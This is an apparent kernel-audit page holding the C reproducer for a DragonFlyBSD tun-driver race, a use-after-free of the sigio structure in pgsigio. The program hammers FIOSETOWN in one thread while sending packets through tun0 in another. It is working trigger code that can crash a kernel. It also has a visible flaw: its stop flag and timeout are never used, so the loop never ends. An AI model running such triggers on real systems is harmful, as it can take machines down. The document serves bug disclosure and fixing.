⬢ DragonFlyBSD Kernel Audit
DF-3411 / race_sigio.c
← back to finding ↓ download raw
/*
 * DF-3411 -- tun async-SIGIO: pgsigio() dereferences sc->tun_sigio with
 * no lock while a concurrent FIOSETOWN -> fsetown -> funsetown() frees
 * the struct sigio outside sigio_token (kern_descrip.c:1239-1273 drops
 * the token BEFORE the list removal/crfree/kfree, and pgsigio
 * (kern_sig.c:2639) takes no token at all).
 *
 * tunifstart (if_tun.c:533-536):
 *	if (sc->tun_flags & TUN_ASYNC && sc->tun_sigio)
 *		pgsigio(sc->tun_sigio, SIGIO, 0);
 *
 * Stress: thread A hammers FIOSETOWN (each call frees the old sigio and
 * installs a new one); thread B drives traffic through tun0 so
 * tunifstart fires pgsigio continuously.
 * Root.  Clean exit = race not hit.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/fcntl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

static volatile int stop;
static long setowns, pings;
static int tunfd;

static void *
owner(void *v)
{
	int self = getpid();
	while (!stop) {
		int one = 1;
		ioctl(tunfd, FIOASYNC, &one);
		ioctl(tunfd, FIOSETOWN, &self);
		setowns++;
	}
	return (NULL);
}

int
main(int argc, char **argv)
{
	int secs = argc > 1 ? atoi(argv[1]) : 60;
	pthread_t a;
	int s, one = 1;
	struct sockaddr_in me;

	if (geteuid() != 0) { fprintf(stderr, "root only\n"); return (1); }
	tunfd = open("/dev/tun", O_RDWR);
	if (tunfd < 0) { perror("/dev/tun"); return (1); }
	ioctl(tunfd, FIOSETOWN, &one);

	/* bring tun0 up with an address and route pings into it */
	system("ifconfig tun0 10.77.77.1 10.77.77.2 up 2>/dev/null");

	pthread_create(&a, NULL, owner, NULL);
	s = socket(AF_INET, SOCK_DGRAM, 0);
	memset(&me, 0, sizeof(me));
	me.sin_family = AF_INET;
	me.sin_port = htons(5999);
	bind(s, (struct sockaddr *)&me, sizeof(me));
	struct sockaddr_in dst;
	int us = socket(AF_INET, SOCK_DGRAM, 0);
	memset(&dst, 0, sizeof(dst));
	dst.sin_family = AF_INET;
	dst.sin_port = htons(5998);
	inet_pton(AF_INET, "10.77.77.2", &dst.sin_addr);
	while (!stop) {
		/* packets queued to tun0 -> tunifstart -> pgsigio */
		sendto(us, "x", 1, 0, (struct sockaddr *)&dst, sizeof(dst));
		pings++;
		usleep(500);
	}
	stop = 1; pthread_join(a, NULL);
	printf("FIOSETOWNs=%ld ping-rounds=%ld (no crash = window not hit)\n",
	    setowns, pings);
	return (0);
}